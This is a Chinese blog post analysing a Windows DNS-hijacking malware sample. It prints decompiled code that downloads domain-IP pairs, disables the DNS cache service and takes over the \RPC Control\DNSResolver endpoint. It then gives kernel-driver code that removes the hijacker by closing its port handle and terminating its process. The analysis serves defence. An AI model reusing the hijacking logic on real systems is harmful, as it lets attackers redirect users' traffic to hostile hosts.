RPC实现DNS劫持

Home / Hackintosh MrLee 2016-4-20 3662

RPC(Remote Procedure Call Protocol)——远程过程调用协议,它是一种通过网络从远程计算机程序上请求服务,而不需要了解底层网络技术的协议。RPC协议假定某些传输协议的存在,如TCP或UDP,为通信程序之间携带信息数据。在OSI网络通信模型中,RPC跨越了传输层和应用层。RPC使得开发包括网络分布式多程序在内的应用程序更加容易。
void __cdecl wmain()
{
  HANDLE v0; // edi@3
  int Dst; // [sp+8h] [bp-80h]@1
  int v2; // [sp+Ch] [bp-7Ch]@1
  int v3; // [sp+10h] [bp-78h]@2
  int v4; // [sp+88h] [bp+0h]@1
  unsigned int v5; // [sp+124h] [bp+9Ch]@1
  v5 = (unsigned int)&v4 ^ __security_cookie;
  memset(&Dst, 0, 0x11Cu);
  Dst = 284;
  GetVersionExW((LPOSVERSIONINFOW)&Dst);
  if ( v2 == 5 )
  {
    if ( v3 == 1 )
    {
      dword_40A540 = (int)CreateEventW(0, 0, 0, 0);
      hEvent = CreateEventW(0, 0, 1, 0);
      dword_40A544 = (int)CreateEventW(0, 0, 0, 0);
      v0 = CreateThread(0, 0, (LPTHREAD_START_ROUTINE)sub_401965, 0, 0, 0);// 开始劫持
      sub_40168A();
      WaitForSingleObject(v0, 0xFFFFFFFFu);
      RpcMgmtStopServerListening(0);
      RpcServerUnregisterIf(0, 0, 0);
    }
  }
  ExitProcess(0);
}

 
int __cdecl sub_401965()
{
  DWORD i; // eax@1
  signed int v1; // esi@6
  signed int v2; // ecx@17
  int v3; // edx@17
  unsigned int v4; // ebx@17
  int v5; // eax@18
  int v6; // eax@19
  unsigned int v7; // esi@22
  int v8; // eax@22
  const wchar_t *v10; // [sp+0h] [bp-38h]@4
  HANDLE Handles; // [sp+1Ch] [bp-1Ch]@1
  HANDLE v12; // [sp+20h] [bp-18h]@1
  int v13; // [sp+24h] [bp-14h]@1
  int v14; // [sp+34h] [bp-4h]@6
  Handles = (HANDLE)dword_40A544;
  v12 = hEvent;
  v13 = dword_40A540;
  for ( i = WaitForMultipleObjects(3u, &Handles, 0, 0x1388u); i; i = WaitForMultipleObjects(3u, &Handles, 0, 0x1388u) )
  {
    if ( i == 1 )
    {
      wprintf(L"start DNSRedir...\n");
      wprintf(L">Download ip-name pair...\n");
      if ( sub_4034C3((int)&dword_40A558) )     // 网络读取需要劫持的域名
        v10 = L">Download ip-name pair successfully.\n";
      else
        v10 = L">Download ip-name pair failed.\n";
      wprintf(v10);
      v14 = 0;
      sub_4044C3();                             // 应该是禁止Dnscache服务
      wprintf(L">try to start dns redirector...\n");
      Sleep(0xBB8u);
      v1 = 0;
      do
      {
        if ( hObject )
          CloseHandle(hObject);
        hObject = CreateThread(0, 0, (LPTHREAD_START_ROUTINE)StartAddress, &off_40A06C, 0, 0);// 注册RPC并监听
        if ( dword_40A074 )
          CloseHandle(dword_40A074);
        dword_40A074 = CreateEventW(0, 1, 0, 0);
        WaitForSingleObject(dword_40A074, 0xBB8u);
        WaitForSingleObject(dword_40A074, 0x7D0u);
        ++v1;
        wprintf(L">try start dns redirector %d time.\n", v1);
      }
      while ( dword_40A07C == 1740 && v1 < 50 );
      if ( dword_40A07C )
      {
        wprintf(L">DNSRedir start failed, error code: %d!\n", dword_40A07C);
      }
      else
      {
        wprintf(L">DNSRedir start successfully!\n");
        sub_401201();
      }
      v14 = -1;
    }
    else
    {
      Sleep(0x1D4C0u);
      wprintf(L">update ip-name pair...\n");
      sub_4034C3((int)&dword_40A558);
      v2 = 28;
      v3 = (dword_40A598 - dword_40A594) % 28;
      v4 = 0;
      if ( (dword_40A598 - dword_40A594) / 28 )
      {
        do
        {
          v5 = sub_401C88(v4);
          if ( *(_DWORD *)(v5 + 24) < 0x10u )
            v6 = v5 + 4;
          else
            v6 = *(_DWORD *)(v5 + 4);
          printf(">name %d: %s\n", v4, v6);
          v2 = 28;
          v3 = (dword_40A598 - dword_40A594) % 28;
          ++v4;
        }
        while ( v4 < (dword_40A598 - dword_40A594) / 28 );
      }
      v7 = 0;
      v8 = (dword_40A580 - dword_40A57C) >> 2;
      if ( v8 )
      {
        if ( (unsigned int)v8 <= 0 )
          invalid_parameter_noinfo(v2, v3);
        do
        {
          wprintf(
            L">ip %d: %d.%d.%d.%d\n",
            v7,
            (unsigned __int8)*(_DWORD *)(dword_40A57C + 4 * v7),
            (unsigned __int16)*(_DWORD *)(dword_40A57C + 4 * v7) >> 8,
            (*(_DWORD *)(dword_40A57C + 4 * v7) >> 16) & 0xFF,
            *(_DWORD *)(dword_40A57C + 4 * v7) >> 24);
          ++v7;
        }
        while ( v7 < (dword_40A580 - dword_40A57C) >> 2 );
      }
    }
  }
  return 0;
}

只有样本没有源码,应该是挂接\RPC Control\DNDResolver接管系统所有DNS解析的消息 然后修改的 禁止DNSCache是禁止DNS缓存,让所有解析都到他那里去 已经搞定了,只要\RPC Control\DNDResolver这个对象,关闭所有打开的句柄就行了
    NTSTATUS status;
    UNICODE_STRING ustrDns;
    PFILE_OBJECT fileObj;
    PVOID pLpcObject;
    PLPCP_PORT_OBJECT pLpcObj = NULL;
    RtlInitUnicodeString(&ustrDns, L"\\RPC Control\\DNSResolver");
    UNICODE_STRING ustrLPC;
    RtlInitUnicodeString(&ustrLPC, L"LpcPortObjectType");
    PVOID pLpcPortObjectType = MmGetSystemRoutineAddress(&ustrLPC);
    if ( pLpcPortObjectType != NULL )
    {
      status = ObReferenceObjectByName(&ustrDns,
        OBJ_CASE_INSENSITIVE,
        NULL,
        FILE_ALL_ACCESS,
        (POBJECT_TYPE)pLpcPortObjectType,
        KernelMode,
        NULL,
        &pLpcObject);
      pLpcObj = (PLPCP_PORT_OBJECT)pLpcObject;
      if ( MmIsAddressValid(pLpcObj) )
      {
        //获取宿主进程ID
        HANDLE hProcId = PsGetProcessId(pLpcObj->ServerProcess); 
        //获取进程句柄
        HANDLE hProcess = NULL;
        status = ObOpenObjectByPointer((PVOID)pLpcObj->ServerProcess,
          0,
          NULL,
          PROCESS_ALL_ACCESS,
          *PsProcessType,
          KernelMode,
          &hProcess);
        //枚举系统所有句柄
        ULONG uRetLength = 0;
        PVOID pBuffer = kmalloc(0x100);
        PSYSTEM_HANDLE_INFORMATION pHandleInfo = NULL;
        ULONG HandleCount = 0;
        status = ZwQuerySystemInformation(SystemHandleInformation, pBuffer, 0x100, &uRetLength);
        if ( !NT_SUCCESS(status) )
        {
          kfree(pBuffer);
          pBuffer = kmalloc(uRetLength);
          if ( pBuffer )
          {
            RtlZeroMemory(pBuffer, uRetLength);
            status = ZwQuerySystemInformation(SystemHandleInformation, pBuffer, uRetLength, &uRetLength);
            if ( NT_SUCCESS(status) )
            {
              //句柄数量
              HandleCount = *((ULONG *)pBuffer);
              pHandleInfo = (PSYSTEM_HANDLE_INFORMATION)((ULONG)pBuffer + sizeof(ULONG));
            }
          }
        }

        POBJECT_TYPE_INFORMATION ObjTypeInfo = (POBJECT_TYPE_INFORMATION)kmalloc(MAX_PATH * 10);
        PVOID           ObjName = (PVOID)kmalloc(MAX_PATH * 10);
        if ( ObjTypeInfo && ObjName )
        {
          RtlZeroMemory(ObjTypeInfo, MAX_PATH * 10);
          RtlZeroMemory(ObjName, MAX_PATH * 10);
        }
        if ( HandleCount >0 && pHandleInfo != NULL )
        {
          ULONG i;
          for ( i = 0; i < HandleCount; i ++ )
          {
            if ( pHandleInfo[i].ProcessId == (ULONG)hProcId )
            {
              HANDLE  hObject;
              status = ZwDuplicateObject(hProcess,
                (HANDLE)pHandleInfo[i].Handle,
                NtCurrentProcess(),
                &hObject,
                0,
                0,
                DUPLICATE_SAME_ACCESS);
              if (!NT_SUCCESS(status))
                continue;
              //Query the object type  
              status = ZwQueryObject(hObject,
                ObjectTypeInformation,
                ObjTypeInfo,
                MAX_PATH * 10,
                &uRetLength);
              if (!NT_SUCCESS(status))
              {
                ZwClose(hObject);
                continue;
              }
              status = ZwQueryObject(hObject,
                (OBJECT_INFORMATION_CLASS)1,
                ObjName,
                MAX_PATH * 10,
                &uRetLength);
              if (!NT_SUCCESS(status))
              {
                ZwClose(hObject);
                continue;
              }
              UNICODE_STRING ustrType;
              UNICODE_STRING win7_ALPC_PORT;
              RtlInitUnicodeString(&ustrType, L"Port");
              RtlInitUnicodeString(&win7_ALPC_PORT, L"ALPC Port");
              if ( 0 == RtlCompareUnicodeString(&ustrType, &ObjTypeInfo->Name, TRUE)  ||
                0 == RtlCompareUnicodeString(&win7_ALPC_PORT, &ObjTypeInfo->Name, TRUE) )
              {
                if ( 0 == RtlCompareUnicodeString(&ustrDns,(PUNICODE_STRING)ObjName, TRUE) )
                {
                  KAPC_STATE k_apc;
                  KeStackAttachProcess(pLpcObj->ServerProcess, &k_apc);
                  ZwClose((HANDLE)pHandleInfo[i].Handle);//草泥马
                  KeUnstackDetachProcess(&k_apc);
                  ZwClose(hObject);//必须关闭自己复制来的句柄 不然无法上网了
                  ZwTerminateProcess(hProcess, 0);
                }
              }
            }
          }
        }
        if ( pBuffer )
        {
          kfree(pBuffer);
          pBuffer = NULL;
        }
        if ( ObjTypeInfo )
        {
          kfree(ObjTypeInfo);
          ObjTypeInfo = NULL;
        }
        if ( ObjName )
        {
          kfree(ObjName);
          ObjName = NULL;
        }
        if ( hProcess )
        {
          ZwClose(hProcess);
        }
      }
    }

    if ( pLpcObject )
    {
      ObDereferenceObject(pLpcObject);
    }
    if ( MmIsAddressValid(pLpcObj) )
    {
      ObDereferenceObject(pLpcObj->ServerProcess);
    }

 

本文链接:https://www.it72.com/9276.htm

推荐阅读
最新回复 (0)
返回